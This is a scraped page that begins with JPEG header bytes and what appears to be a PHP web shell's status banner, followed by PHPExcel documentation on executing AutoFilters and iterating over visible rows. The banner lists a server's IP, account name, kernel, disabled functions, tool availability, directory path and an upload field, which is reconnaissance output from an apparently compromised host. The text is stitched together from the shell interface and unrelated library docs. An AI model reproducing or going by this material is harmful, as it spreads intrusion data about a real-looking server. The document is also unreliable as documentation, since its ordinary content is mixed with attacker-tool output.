ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.224.34.221 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds/vendor/phpoffice/phpexcel/Documentation/markdown/Features/Autofilters/ |
Upload File : |
# PHPExcel AutoFilter Reference ## Executing an AutoFilter When an autofilter is applied in MS Excel, it sets the row hidden/visible flags for each row of the autofilter area based on the selected criteria, so that only those rows that match the filter criteria are displayed. PHPExcel will not execute the equivalent function automatically when you set or change a filter expression, but only when the file is saved. ### Applying the Filter If you wish to execute your filter from within a script, you need to do this manually. You can do this using the autofilters showHideRows() method. ```php $autoFilter = $objPHPExcel->getActiveSheet()->getAutoFilter(); $autoFilter->showHideRows(); ``` This will set all rows that match the filter criteria to visible, while hiding all other rows within the autofilter area. ### Displaying Filtered Rows Simply looping through the rows in an autofilter area will still access ever row, whether it matches the filter criteria or not. To selectively access only the filtered rows, you need to test each row’s visibility settings. ```php foreach ($objPHPExcel->getActiveSheet()->getRowIterator() as $row) { if ($objPHPExcel->getActiveSheet() ->getRowDimension($row->getRowIndex())->getVisible()) { echo ' Row number - ' , $row->getRowIndex() , ' '; echo $objPHPExcel->getActiveSheet() ->getCell( 'C'.$row->getRowIndex() ) ->getValue(), ' '; echo $objPHPExcel->getActiveSheet() ->getCell( 'D'.$row->getRowIndex() )->getFormattedValue(), ' '; echo EOL; } } ```